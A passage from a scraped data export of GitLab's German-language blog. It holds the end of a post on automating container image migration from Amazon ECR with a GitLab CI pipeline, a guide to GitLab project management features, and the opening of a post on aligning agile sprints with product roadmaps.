Arbeit.\n\n## Die Lösung\n\nWir haben uns daran gemacht, eine GitLab-Pipeline zu erstellen, die all diese schwierigen Aufgaben automatisch erledigt. Das Ziel war einfach: Wir wollten Platform Engineers ein Tool zur Verfügung stellen, das sie in wenigen Minuten einrichten und über Nacht ausführen können, sodass am nächsten Morgen alle ihre Images erfolgreich migriert wurden.\n\n### Einrichten des Zugriffs\n\nDas Wichtigste zuerst: die Sicherheit. Teams sollen diese Migration mit minimalen AWS-Berechtigungen durchführen können. Hier ist die schreibgeschützte Identitäts- und Zugriffsmanagement (IAM)-Richtlinie dafür:\n\n```json\n{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Action\": [\n                \"ecr:GetAuthorizationToken\",\n                \"ecr:BatchCheckLayerAvailability\",\n                \"ecr:GetDownloadUrlForLayer\",\n                \"ecr:DescribeRepositories\",\n                \"ecr:ListImages\",\n                \"ecr:DescribeImages\",\n                \"ecr:BatchGetImage\"\n            ],\n            \"Resource\": \"*\"\n        }\n    ]\n}\n```\n\n### GitLab-Konfiguration\n\nNachdem die Sicherheit gewährleistet ist, ist der nächste Schritt die Einrichtung von GitLab. Wir haben uns auf das Wesentliche beschränkt. Du musst diese Variablen in deinen CI/CD-Einstellungen konfigurieren:\n\n```\nAWS_ACCOUNT_ID: Your AWS account number\nAWS_DEFAULT_REGION: Your ECR region\nAWS_ACCESS_KEY_ID: [Masked]\nAWS_SECRET_ACCESS_KEY: [Masked]\nBULK_MIGRATE: true\n```\n\n### Die Migrationspipeline\n\nJetzt wird es interessant. Wir haben die Pipeline mit Docker-in-Docker erstellt, um alle Image-Vorgänge zuverlässig zu verarbeiten:\n\n```yaml\nimage: docker:20.10\nservices:\n  - docker:20.10-dind\n\nbefore_script:\n  - apk add --no-cache aws-cli jq\n  - aws sts get-caller-identity\n  - aws ecr get-login-password | docker login --username AWS --password-stdin\n  - docker login -u ${CI_REGISTRY_USER} -p ${CI_REGISTRY_PASSWORD} ${CI_REGISTRY}\n```\n\nDie Pipeline hat drei Phasen, die jeweils auf der letzten aufbauen:\n\n1. Entdeckung\n\nZuerst findet sie alle deine Repositories:\n\n```bash\nREPOS=$(aws ecr describe-repositories --query 'repositories[*].repositoryName' --output text)\n```\n\n2. Tag-Auflistung\n\nDann ruft sie für jedes Repository alle Tags ab:\n\n```bash\nTAGS=$(aws ecr describe-images --repository-name $repo --query 'imageDetails[*].imageTags[]' --output text)\n```\n\n3. Übertragung\n\nSchließlich übernimmt sie die eigentliche Migration:\n\n```bash\ndocker pull ${AWS_ACCOUNT_ID}.dkr.ecr.${AWS_DEFAULT_REGION}.amazonaws.com/${repo}:${tag}\ndocker tag ${AWS_ACCOUNT_ID}.dkr.ecr.${AWS_DEFAULT_REGION}.amazonaws.com/${repo}:${tag} ${CI_REGISTRY_IMAGE}/${repo}:${tag}\ndocker push ${CI_REGISTRY_IMAGE}/${repo}:${tag}\n```\n\n## Das Ergebnis\n\nErinnerst du dich an den Platform Engineer, der nicht wochenlang mit der Migration verbringen wollte? Diese Lösung bietet Folgendes:\n\n- automatisierte Erkennung und Migration aller Repositories und Tags\n- konsistente Image-Benennung zwischen ECR und GitLab\n- Fehlerbehandlung für fehlgeschlagene Übertragungen\n- klare Protokollierung zur Verfolgung des Fortschritts\n\nAnstatt Skripte zu schreiben und die Migration zu überwachen, konnte sich der Plattform Engineer auf wertvollere Arbeit konzentrieren.\n\n## Verwendung\n\nDie ersten Schritte sind einfach:\n\n1. Kopiere die Datei `.gitlab-ci.yml` in dein Repository.\n2. Konfiguriere die AWS- und GitLab-Variablen.\n3. Setze `BULK_MIGRATE` auf „true“, um die Migration zu starten.\n\n## Best Practices\n\nBei der Unterstützung von Teams bei ihren Migrationen haben wir einige Dinge gelernt:\n\n- Der Prozess sollte außerhalb der Stoßzeiten durchgeführt werden, um die Auswirkungen auf dein Team zu minimieren.\n- Die Pipeline-Protokolle sind wichtig – darin findest du Informationen, wenn es ein Problem gibt.\n- Die Elastic Container Registry (ECR) sollte erst deaktiviert werden, wenn du überprüft hast, dass alle Images erfolgreich übertragen wurden.\n- Bei sehr großen Migrationen solltest du eine Ratenbegrenzung in Betracht ziehen, um eine Überlastung deines Netzwerks zu vermeiden.\n\nWir haben diese Pipeline in unserem öffentlichen GitLab-Repository quelloffen verfügbar gemacht, weil wir der Meinung sind, dass Plattform Engineers Zeit damit verbringen sollten, wertvolle Infrastrukturen aufzubauen, anstatt Container-Images zu kopieren. Passe sie an deine Bedürfnisse an und stelle Fragen zur Implementierung, wenn etwas unklar ist.\n\n> #### Informationen dazu und zu anderen Paketkomponenten findest du in unserer [CI/CD-Katalog-Dokumentation](https://gitlab.com/explore/catalog/components/package).",[110,1272,767,746,680,2113],{"slug":2135,"featured":92,"template":682},"automating-container-image-migration-from-amazon-ecr-to-gitlab","content:de-de:blog:automating-container-image-migration-from-amazon-ecr-to-gitlab.yml","Automating Container Image Migration From Amazon Ecr To Gitlab","de-de/blog/automating-container-image-migration-from-amazon-ecr-to-gitlab.yml","de-de/blog/automating-container-image-migration-from-amazon-ecr-to-gitlab",{"_path":2141,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2142,"content":2148,"config":2156,"_id":2158,"_type":16,"title":2159,"_source":17,"_file":2160,"_stem":2161,"_extension":20},"/de-de/blog/getting-started-with-gitlab-mastering-project-management",{"ogTitle":2143,"schema":2144,"ogImage":2145,"ogDescription":2146,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":2147,"title":2143,"canonicalUrls":2147,"description":2146},"Projektmanagement mit GitLab | Ein Leitfaden für die Praxis","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Erste Schritte mit GitLab – Projektmanagement\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2025-02-11\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097294/Blog/Hero%20Images/Blog/Hero%20Images/blog-getting-started-with-gitlab-banner-0497-option4-fy25_cFwd8DYFLekdnOLmbbChp_1750097293924.png","Wir zeigen dir, warum sich GitLab für dein Projektmanagement lohnt. ✓ Komponenten ✓ Funktionen ✓ Vorteile ➤ GitLab Projektmanagement starten!","https://about.gitlab.com/blog/getting-started-with-gitlab-mastering-project-management",{"heroImage":2145,"body":2149,"authors":2150,"updatedDate":2151,"date":2152,"title":2153,"tags":2154,"description":2155,"category":680},"*Willkommen zu unserer Serie „Erste Schritte mit GitLab“, in der wir Neueinsteiger(inne)n helfen, sich mit der DevSecOps-Plattform von GitLab vertraut zu machen.*\n\nGitLab ist nicht nur ein Ort, an dem du deinen Code speichern kannst. Es ist vielmehr eine KI-basierte DevSecOps-Plattform, die dir hilft, deine Projekte zu planen, zu organisieren, nachzuverfolgen und erfolgreich zu liefern. In diesem Beitrag lernst du die wichtigsten Projektmanagementfunktionen von GitLab kennen und erfährst, wie du sie effektiv nutzen kannst.\n\n## Inhaltsverzeichnis\n\n- [Warum ist GitLab für das Projektmanagement geeignet?](#warum-ist-gitlab-für-das-projektmanagement-geeignet%3F)\n- [Hauptkomponenten des Projektmanagements mit GitLab](#hauptkomponenten-des-projektmanagements-mit-gitlab)\n- [Sieh dir die Funktionen im Detail an](#sieh-dir-die-funktionen-im-detail-an)\n  - [Epics - Das große Ganze](#epics---das-große-ganze)\n  - [Tickets - Dinge erledigen](#tickets---dinge-erledigen)\n  - [Labels - Organisiere deine Arbeit](#labels---organisiere-deine-arbeit)\n  - [Übersichten - Visualisiere deinen Workflow](#übersichten---visualisiere-deinen-workflow)\n  - [Aufgaben - Schlüssle deine Arbeit auf](#aufgaben---schlüssle-deine-arbeit-auf)\n  - [Meilensteine - Verfolge deinen Fortschritt](#meilensteine---verfolge-deinen-fortschritt)\n  - [Iterationen - Arbeiten in Sprints](#iterationen---arbeiten-in-sprints)\n  - [Zeiterfassung - Miss deinen Aufwand](#zeiterfassung---miss-deinen-aufwand)\n  - [Abhängigkeiten - Verwalte deinen Workflow](#abhängigkeiten---verwalte-deinen-workflow)\n  - [Vorlagen - Optimiere die Erstellung von Tickets](#vorlagen-optimiere-die-erstellung-von-tickets)\n- [Zusammenarbeit ist der Schlüssel](#zusammenarbeit-ist-der-schlüssel)\n- [Bist du bereit?](#bist-du-bereit%3F)\n- [Mehr erfahren](#mehr-erfahren)\n\n## Warum ist GitLab für das Projektmanagement geeignet?\n\nStell dir vor, du hast dein Code-Repository, das Ticketsystem und deine Kommunikationsplattform nahtlos an einem Ort integriert. Genau das ist GitLab. Indem alles zentralisiert ist, kannst du deinen Workflow optimieren, die Zusammenarbeit verbessern und deine Projekte voranbringen. Du musst nicht mehr zwischen verschiedenen Tools hin und her wechseln und verlierst nicht mehr den Überblick über Informationen. GitLab führt alles zusammen, sodass du Projekte von Anfang bis Ende einfacher verwalten kannst.\n\n## Hauptkomponenten des Projektmanagements mit GitLab\n\nSchlüsseln wir nun die wichtigsten Elemente (inkl. Links zur englischsprachigen Dokumentation) auf:\n\n* [Epics](https://docs.gitlab.com/ee/user/group/epics/): Stell dir Epics als das große Ganze vor. Sie repräsentieren wichtige Funktionen, übergeordnete Ziele oder langfristige Initiativen in deinem Projekt. Du möchtest deine Website überarbeiten? Das ist ein Epic! Epics helfen dir, deine Arbeit in größere, überschaubare Teile zu organisieren.\n* [Tickets](https://docs.gitlab.com/ee/user/project/issues/): Issues sind die einzelnen Aufgaben oder Workitems, die zu deinen Projektzielen beitragen. Jedes Ticket ist eine spezifische Handlung, wie „Homepage entwerfen“ oder „Über-uns-Seite verfassen“. Tickets sind die Bausteine des Projekts und bieten eine übersichtliche Möglichkeit, individuelle Aufgaben nachzuverfolgen.\n* [Labels](https://docs.gitlab.com/ee/user/project/labels.html): Labels sind wie Tags, mit denen du deine Arbeit kategorisieren und filtern kannst. Du kannst mithilfe von Labes Prioritäten (z. B. hoch, mittel, niedrig) oder Status (z. B. zu erledigen, in Bearbeitung, erledigt) zuordnen oder Tickets bestimmten Teams oder Personen zuweisen. Labels bieten eine flexible Möglichkeit, deine Arbeit zu organisieren und zu priorisieren.  \n* Übersichten: Die Ticketübersichten von GitLab sind dein visueller Arbeitsbereich. Sie stellen dein Projekt im Kanban-Stil dar, sodass du auf einen Blick den Status all deiner Tickets sehen kannst. Ziehe Tickets per Drag & Drop in verschiedene Listen (z. B. „To Do“, „Doing“, „Done“), um deinen Workflow zu visualisieren und den Fortschritt nachzuverfolgen. In GitLab kannst du Übersichten für [Tickets](https://docs.gitlab.com/ee/user/project/issue_board.html) und [Epics](https://docs.gitlab.com/ee/user/group/epics/epic_boards.html) erstellen.\n* [Meilensteine](https://docs.gitlab.com/ee/user/project/milestones/): Meilensteine markieren wichtige Kontrollpunkte oder Zieltermine in deinem Projekt. Sie helfen dir, den Fortschritt bei der Erreichung bestimmter Ziele und Fristen zu verfolgen. Du kannst beispielsweise Meilensteine festlegen, wenn eine wichtige Funktion fertiggestellt wird, eine Beta-Version veröffentlicht wird oder das Endprodukt eingeführt wird.\n* [Aufgaben](https://docs.gitlab.com/ee/user/tasks.html): Wenn du eine noch feinere Unterteilung möchtest, kannst du deine Tickets in kleinere Aufgaben aufteilen. Dies hilft dabei, sie anderen Personen zuzuweisen, individuelle Verantwortlichkeiten zu klären und sicherzustellen, dass nichts übersehen wird. Aufgaben sind eine Möglichkeit, Checklisten innerhalb von Tickets zu erstellen, um den Fortschritt bei komplexen Aufgaben einfacher nachverfolgen zu können.\n\n## Sieh dir die Funktionen im Detail an\n\n### Epics - Das große Ganze\n\n* Epics erstellen: Gehe in deiner Gruppe unter „Planen“ zum Menü „Epics“. Klicke auf **Neues Epic** und gib einen beschreibenden Titel sowie eine deutliche Beschreibung ein, die das Ziel umreißt. Du kannst auch ein Start- und Enddatum für das Epic angeben. Dies ist nützlich, wenn du [Roadmaps](https://docs.gitlab.com/ee/user/group/roadmap/) verwendest.\n\n![Seite zum Erstellen von Epics](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097301/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097300817.png)\n\n* [Roadmaps](https://docs.gitlab.com/ee/user/group/roadmap/): Füge deine Epics zu einer Roadmap hinzu, um deinen Projektzeitplan und deine langfristigen Ziele zu visualisieren. Die Roadmaps bieten einen Überblick über deinen Projektplan und machen es dir leicht, das Gesamtbild zu sehen und den Fortschritt in Richtung wichtiger Meilensteine zu verfolgen.\n\n![Roadmap-Ansicht](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097301/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750097300818.png)\n\n### Tickets - Dinge erledigen\n\n* Tickets erstellen: Gehe in deinem Projekt zum Menü „Tickets“ unter „Planen“ und klicke auf **Neues Ticket**. Gib einen prägnanten, beschreibenden Titel wie „Homepage-Wireframes entwerfen“ ein, weise es einem Teammitglied zu, lege ein Fälligkeitsdatum fest und gib eine detaillierte Beschreibung an, in der die Anforderungen der Aufgabe festgelegt sind.\n* GitLab Duo: Du kannst die Möglichkeiten von [GitLab Duo nutzen, um detaillierte Issue-Beschreibungen zu erstellen](https://docs.gitlab.com/ee/user/project/issues/managing_issues.html#populate-an-issue-with-issue-description-generation), indem du nur kurz angibst, was du erreichen möchtest.\n* Gewichtung: Schätze den für jedes Ticket erforderlichen Aufwand ein, indem du Gewichtungen zuweist. Dies hilft bei der Planung und Priorisierung. Eine einfache Aufgabe kann beispielsweise eine Gewichtung von **1** haben, während eine komplexere Aufgabe mit **5** gewichtet ist.\n\n![Ticket mit einer zugewiesenen Gewichtung von 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097301/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097300819.png)\n\n### Labels - Organisiere deine Arbeit\n\n* Labels erstellen: Gehe zum Tab „Tickets“ deines Projekts und klicke auf „Labels“. Erstelle benutzerdefinierte Labels mit eindeutigen Namen, um deine Tickets zu kategorisieren. Erstelle beispielsweise Labels wie **Priorität: Hoch**, **Status: In Bearbeitung** oder **Team: Design**. Wende diese Labels auf deine Tickets an, um sie zu organisieren und filtern zu können.\n\n![Bildschirm „Labels“](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097301/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097300820.png)\n\n### Übersichten - Visualisiere deinen Workflow\n\n* Kanban-Boards: Die Übersichten von GitLab bieten eine Ansicht deines Projekts im Kanban-Stil. Erstelle Listen wie „To Do“, „Doing“ und „Done“, um die Phasen deines Workflows darzustellen. Ziehe die Issues per Drag & Drop in diese Listen, um den Fortschritt zu visualisieren.\n* Übersichten anpassen: Passe deine Übersichten an deinen spezifischen Workflow an. Füge weitere Spalten ein, filtere Tickets nach Labels oder Beauftragten oder richte Swimlanes ein, um Tickets nach Epics oder anderen Kriterien zu kategorisieren.\n\n![Workflow mit Ticketübersichten visualisieren](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097301/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097300820.png)\n\n### Aufgaben - Schlüssle deine Arbeit auf\n\n* Aufgaben erstellen: Verwende innerhalb eines Tickets die Markdown-Syntax für Checklisten, um eine Aufgabenliste zu erstellen. Jedes Element in der Liste stellt einen kleineren Schritt innerhalb des größeren Tickets dar. Im Ticket „Homepage-Wireframes entwerfen“ kannst du zum Beispiel die Aufgaben „Erstkonzept skizzieren“, „Digitale Wireframes erstellen“ und „Feedback von Stakeholdern einholen“ erstellen. Um eine Aufgabe zu erstellen, klicke im Abschnitt „Untergeordnete Elemente“ auf der Seite eines Tickets auf die Schaltfläche **Hinzufügen**. Gib dann den Titel der Aufgabe ein und klicke auf **Aufgabe erstellen**.\n\n![Ticket mit der Schaltfläche „Aufgabe erstellen“](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097301/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750097300822.png)\n\n### Meilensteine - Verfolge deinen Fortschritt\n* Meilensteine setzen: Definiere Meilensteine, um wichtige Punkte in deinem Projekt zu markieren, z. B. wenn eine bestimmte Funktion fertiggestellt wird oder eine wichtige Frist erreicht wird. Gib deinen Meilensteinen klare Titel und Fälligkeitstermine.\n* Mit Tickets verknüpfen: Verknüpfe Tickets und Epics mit Meilensteinen, um den Fortschritt bei der Erreichung dieser Ziele zu verfolgen. Auf diese Weise kannst du erkennen, wie einzelne Aufgaben zum gesamten Projektplan beitragen.\nMeilenstein erstellen: Klicke in der Auswahl-Liste „Planen“ auf **Meilensteine > Neuer Meilenstein**. Gib den Titel des Meilensteins, eine Beschreibung sowie Start- und Enddatum an.\n\n![Bildschirm „Neuer Meilenstein“](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097301/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097300823.png)\n\n\u003Cbr>\u003C/br>\n\n![Neue Seite mit Meilenstein](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097301/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097300823.png)\n\n### [Iterationen](https://docs.gitlab.com/ee/user/group/iterations/) - Arbeiten in Sprints\n\n* Iterationen definieren: Wenn du einen Agile-Workflow verwendest, definiere Iterationen (Sprints) mit bestimmten Start- und Endterminen. So kannst du deine Arbeit in kleinere, überschaubarere Zeitfenster aufteilen.  \n* Tickets zuweisen: Weise Tickets zu Iterationen zu, um deine Arbeit in kürzeren Zyklen zu planen und dich auf die Bereitstellung von inkrementellem Wert zu konzentrieren.\n\n### [Zeiterfassung](https://docs.gitlab.com/ee/user/project/time_tracking.html) - Miss deinen Aufwand\n\n* Zeit erfassen: Verwende innerhalb eines Tickets die Schnellaktion „/spend“, gefolgt von der aufgewendeten Zeit (z. B. „/spend 2h 30m“), um deine Arbeit zu protokollieren. Auf diese Weise kannst du die tatsächliche Zeit erfassen, die du für jede Aufgabe aufgewendet hast.  \n* Daten analysieren: Erstelle Zeiterfassungsberichte, um Einblicke in den Projektfortschritt und die Teameffizienz zu erhalten und potenzielle Engpässe zu identifizieren.\n\n![Bericht zur Zeiterfassung](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097301/Blog/Content%20Images/Blog/Content%20Images/image9_aHR0cHM6_1750097300824.png)\n\n### Abhängigkeiten - Verwalte deinen Workflow\n\n* [Tickets verknüpfen](https://docs.gitlab.com/ee/user/project/issues/related_issues.html): Erstelle Abhängigkeiten zwischen Tickets, um sicherzustellen, dass Aufgaben in der richtigen Reihenfolge abgeschlossen werden. Wenn zum Beispiel Tickets A abgeschlossen sein muss, bevor Tickets B beginnen kann, kannst du eine Abhängigkeit zwischen ihnen erstellen. Damit kannst du den Workflow visualisieren und potenzielle Hindernisse vermeiden.\n\n### Vorlagen - Optimiere die Erstellung von Tickets\n\n* [Vorlagen erstellen](https://docs.gitlab.com/ee/user/project/description_templates.html): Erstelle Vorlagen für Tickets, um die für allgemeine Aufgaben erfassten Informationen zu standardisieren, Zeit zu sparen und Konsistenz zu gewährleisten. Du kannst zum Beispiel eine Vorlage für Fehlerberichte erstellen, die Felder für Schritte enthält, um das erwartete Verhalten und das tatsächliche Verhalten zu reproduzieren.\n\n### Zusammenarbeit ist der Schlüssel\n\nGitLab fördert die Zusammenarbeit durch Folgendes:\n\n* [Kommentare](https://docs.gitlab.com/ee/user/discussions/): Besprich Tickets und Epics direkt in GitLab. Verwende Kommentare, um Updates bereitzustellen, Fragen zu stellen und Feedback zu geben.  \n* [Erwähnungen](https://docs.gitlab.com/ee/user/discussions/#mentions): Verwende **@**, um bestimmte Teammitglieder zu erwähnen und sie über Aktualisierungen zu informieren oder um ihren Input zu bitten.\n* Diskussionen: Nimm an Diskussionen innerhalb von Tickets und Epics teil, um Ideen zu sammeln, Probleme gemeinsam zu lösen und alle auf dem Laufenden zu halten.\n\n### Bist du bereit?\n\nDa du nun gesehen hast, wie leistungsstark die Projektmanagementfunktionen von GitLab sind, ist es an der Zeit, sie praktisch einzusetzen! Erstelle ein Beispielprojekt, experimentiere mit verschiedenen Funktionen und entdecke, wie GitLab deinen Workflow verändern kann. In der GitLab-Dokumentation erfährst du mehr darüber, wie GitLab dich bei [Kanban](https://docs.gitlab.com/ee/tutorials/kanban/) und [Scrum](https://docs.gitlab.com/ee/tutorials/scrum_events/) unterstützen kann.\n\n> #### Du hast noch kein GitLab-Konto? Melde dich jetzt für eine [kostenlose Testversion von GitLab Ultimate und GitLab Duo](https://about.gitlab.com/de-de/free-trial/) an!\n\n## Mehr erfahren\n- [Erste Schritte mit GitLab: Benutzerverwaltung](https://about.gitlab.com/de-de/blog/getting-started-with-gitlab-how-to-manage-users/)\n- [Erste Schritte mit GitLab: So importierst du deine Projekte in GitLab (nur auf Englisch verfügbar)](https://about.gitlab.com/blog/getting-started-with-gitlab-how-to-import-your-projects-to-gitlab/)\n",[826],"2025-05-14","2025-02-11","Projektmanagement mit GitLab – Erste Schritte",[767,680,746,973],"Entdecke die wichtigsten Komponenten des Projektmanagements und erfahre, wie du sie nutzen kannst, um Organisation und Nachverfolgung zu verbessern.",{"slug":2157,"featured":6,"template":682},"getting-started-with-gitlab-mastering-project-management","content:de-de:blog:getting-started-with-gitlab-mastering-project-management.yml","Getting Started With Gitlab Mastering Project Management","de-de/blog/getting-started-with-gitlab-mastering-project-management.yml","de-de/blog/getting-started-with-gitlab-mastering-project-management",{"_path":2163,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2164,"content":2170,"config":2176,"_id":2178,"_type":16,"title":2179,"_source":17,"_file":2180,"_stem":2181,"_extension":20},"/de-de/blog/how-to-harmonize-agile-sprints-with-product-roadmaps",{"title":2165,"description":2166,"ogTitle":2165,"ogDescription":2166,"noIndex":6,"ogImage":2167,"ogUrl":2168,"ogSiteName":1396,"ogType":1397,"canonicalUrls":2168,"schema":2169},"So bringst du Agile-Sprints mit Produkt-Roadmaps in Einklang","Nutze Best Practices und GitLab-Funktionen für deine Produkt-Journey, mit denen du unter anderem zentralisierte Roadmaps erstellen, Review-Sessions durchführen und Sprint-Lebenszyklen nachverfolgen kannst.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097231/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2821%29_2pdp2MNB7SoP4MhhiI1WIa_1750097230664.png","https://about.gitlab.com/blog/how-to-harmonize-agile-sprints-with-product-roadmaps","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"So bringst du Agile-Sprints mit Produkt-Roadmaps in Einklang\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amanda Rueda\"}],\n        \"datePublished\": \"2025-02-04\",\n      }",{"title":2165,"description":2166,"authors":2171,"heroImage":2167,"date":2172,"body":2173,"category":976,"tags":2174,"updatedDate":2175},[1812],"2025-02-04","Stelle dir folgendes Szenario vor: Die Produkt- und Entwicklungsteams arbeiten unabhängig voneinander. Das Produktteam hat eine 12-monatige Roadmap erstellt und diese den internen Stakeholdern präsentiert, sie aber nicht mit dem Entwicklungsteam besprochen. Das Entwicklungsteam beginnt damit, die für den bevorstehenden Sprint geplanten Funktionen zu entwickeln, ohne die allgemeine Produkt-Roadmap zu berücksichtigen. Das führt dazu, dass das Timing nicht optimiert werden kann, indem z. B. Projekte parallel durchgeführt werden, die Teamkapazitäten berücksichtigt werden oder wiederverwendbare APIs erstellt werden, die für mehrere Initiativen genützt werden können. Diese mangelnde Koordination führt zu Ineffizienz und einer verspäteten Bereitstellung von Werten.\n\nEs ist nicht einfach, kurzfristige Gewinne und die langfristige Vision in Einklang zu bringen, denn dafür sind eine klare Kommunikation, aufeinander abgestimmte Prioritäten und die richtigen Tools nötig. In diesem Leitfaden lernst du Strategien kennen, mit denen du deine Agile-Sprints sowie die strategischen Roadmaps in Einklang bringst, häufige Herausforderungen meisterst und umsetzbare Lösungen findest, die perfekt zu deinen Teams passen.\n\n## Die Bedeutung einer einzigen Quelle der Wahrheit\n\nEine konsistente einzige Quelle der Wahrheit für Roadmaps mit längerfristigen Zielen stellt sicher, dass du und deine Teams auf aktuelle Informationen über das Gesamtbild zugreifen könnt. In der Praxis bedeutet dies, eine einzige, regelmäßig aktualisierte Plattform zu haben, auf der alle Details zur Roadmap zu finden sind, anstatt verschiedene Versionen der Roadmap in unterschiedliche Formaten  – und typischerweise mit leicht unterschiedlichen Informationen – zu haben, die in der Regel dazu führen, dass nicht alle in genau die gleiche Richtung ziehen.\n\n### Erstelle eine zentrale Roadmap\n\nDurch eine zentrale Roadmap für dein Team kannst du:\n\n* die langfristige Strategie kommunizieren\n* Fehlkommunikation minimieren\n* die funktionsübergreifende Abstimmung erleichtern\n* dich schnell an Änderungen anpassen, ohne dass Kontext verloren geht\n* Informationen als Self-Service bereitstellen, wodurch die Abhängigkeit von einer einzelnen Kontaktperson, die alle Informationen hat, reduziert wird\n\n***GitLab-Tipp**: Verwende [Epics (nur in englischer Sprache)](https://docs.gitlab.com/ee/user/group/epics/) und die [Roadmap-Ansicht (nur in englischer Sprache)](https://docs.gitlab.com/ee/user/group/roadmap/), um sowohl die Produktplanung als auch eine transparente Überwachung der Lieferung zu ermöglichen. Mit der Roadmap-Ansicht kannst du den Fortschritt nachverfolgen, Engpässe erkennen und sicherstellen, dass übergeordnete Ziele und die Ausführung auf Sprint-Ebene aufeinander abgestimmt sind.* \n\n![Roadmap-Ansicht für eine Gruppe](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097239/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097239117.png)\n\n## Kollaborative Review-Praktiken für Roadmaps\n\nRichte einen regelmäßigen Review- und Genehmigungsprozess für Roadmap-Updates ein, die Produkt, Entwicklung und UX als Teil des [Produkttrios](https://www.producttalk.org/product-trio/) umfassen. Kollaborative Reviews tragen dazu bei, dass alle weiterhin am selben Strang ziehen, und minimieren das Risiko. Bei GitLab treffe ich mich monatlich mit meinem Engineering Manager und UX Designer, um alle Änderungen zu überprüfen und zu genehmigen. Auf der Wiki-Seite der Roadmap führen wir laufende Genehmigungen durch, wodurch wir für den Zeitplan verantwortlich sind und dem restlichen Unternehmen Transparenz bieten.\n\n#### So extrahierst du Wert aus Review-Sessions\n\nUm das Beste aus der Review-Session herauszuholen, solltest du die folgenden Best Practices anstreben:\n\n* Plane monatliche oder vierteljährliche Routine-Reviews, je nachdem, wie häufig die Roadmap in deinem Unternehmen schwankt.\n* Überprüfe die Abstimmung zwischen Produktzielen, UX-Abarbeitungsdauer und technischer Machbarkeit, indem du potenzielle Risiken und Abhängigkeiten im Voraus besprichst.\n  * Stelle sicher, dass die Roadmap die aktuellen Unternehmensziele widerspiegelt.\n * Sorge dafür, dass die Designzeitpläne realistisch sind, und berücksichtige den Recherche- oder Validierungsbedarf.\n  * Überprüfe, ob die Roadmap Zeit für die technische Vorbereitung, wie z. B. technische Spitzen oder Untersuchungen lässt, und auf die allgemeineren Prioritäten des Engineerings abgestimmt ist.  \n* Optimiere die Auslastung deines Teams, indem du Kapazitätsbeschränkungen berücksichtigst und sicherstellst, dass die Arbeitsabfolge dem Kompetenzprofil deines Teams entspricht. Dazu gehört, Phasen mit Unterauslastung oder Kompetenzlücken zu vermeiden, während du gleichzeitig für Situationen wie Personalmangel während Urlaubszeiten effektiv vorplanst.\n* Passe den Umfang richtig an und lege angemessene Erwartungen an das fest, was erreicht werden kann. Wir alle wollen den Anforderungen gerecht werden, aber es gilt: Perfektion ist der Feind des Fortschrittes. Priorisiere daher, was wirklich wichtig ist, um den inkrementellen Wert effizient zu liefern. Suche nach Optimierungsmöglichkeiten, indem du Iterationen nutzt oder die Geschwindigkeit erhöhst, indem du z. B. die Arbeitsreihenfolge anpasst, um Abhängigkeiten zu vermeiden, oder wiederverwendbare Komponenten nutzt, um die Entwicklung zu optimieren.\n* Fördere einen offenen Dialog über Kompromisse und Prioritäten, um sicherzustellen, dass alle Perspektiven einbezogen werden. Dieser kollaborative Ansatz hilft dir, kreative Lösungen für Herausforderungen zu finden und dafür zu sorgen, dass beim Weg in die Zukunft alle am selben Strang ziehen.\n\n***GitLab-Tipp**: Verwende eine [GitLab-Wiki-Seite (nur in englischer Sprache)](https://docs.gitlab.com/ee/user/project/wiki/), um die [Roadmap-Funktion (nur in englischer Sprache)](https://docs.gitlab.com/ee/user/group/roadmap/) zu ergänzen. Im Wiki kannst du den erweiterten Kontext deiner Produkt-Roadmap einbinden, z. B. geschäftliche Gründe, Links zu Benutzerforschung, RICE-Scores und Details zu Abhängigkeiten oder Risiken. Verknüpfe diese direkt mit der Roadmap, um einfach darauf zuzugreifen, und nutze die demnächst verfügbare Funktion „Diskussions-Threads“, um asynchrone Kollaboration zu fördern und Feedback von deinem Team zu erhalten.*\n\n![PlanFlow-Produkt-Roadmap](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097239/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097239118.png)\n\n## Kontinuierliche Richtungsvalidierung und Fortschrittsmessung\n\nDas Ziel einer Produkt-Roadmap besteht nicht nur darin, auf Kurs zu bleiben, sondern auch darin, deinen Kund(inn)en einen echten Mehrwert zu bieten. Um Raum für kontinuierliches Benutzerfeedback und Verhaltensdaten zu schaffen, solltest du dir überlegen, regelmäßige Berührungspunkte in deinem Produkttrio außerhalb von Sprint-Zyklen zu integrieren. In diesen Sessions kannst du dann Einblicke besprechen, Trends analysieren und sicherstellen, dass die Produkt-Roadmap auch weiterhin die sich entwickelnden Bedürfnisse deiner Benutzer(innen) widerspiegelt. Indem du Roadmaps auf der Grundlage echter Benutzereinblicke erstellst, lieferst du nicht nur Ergebnisse, 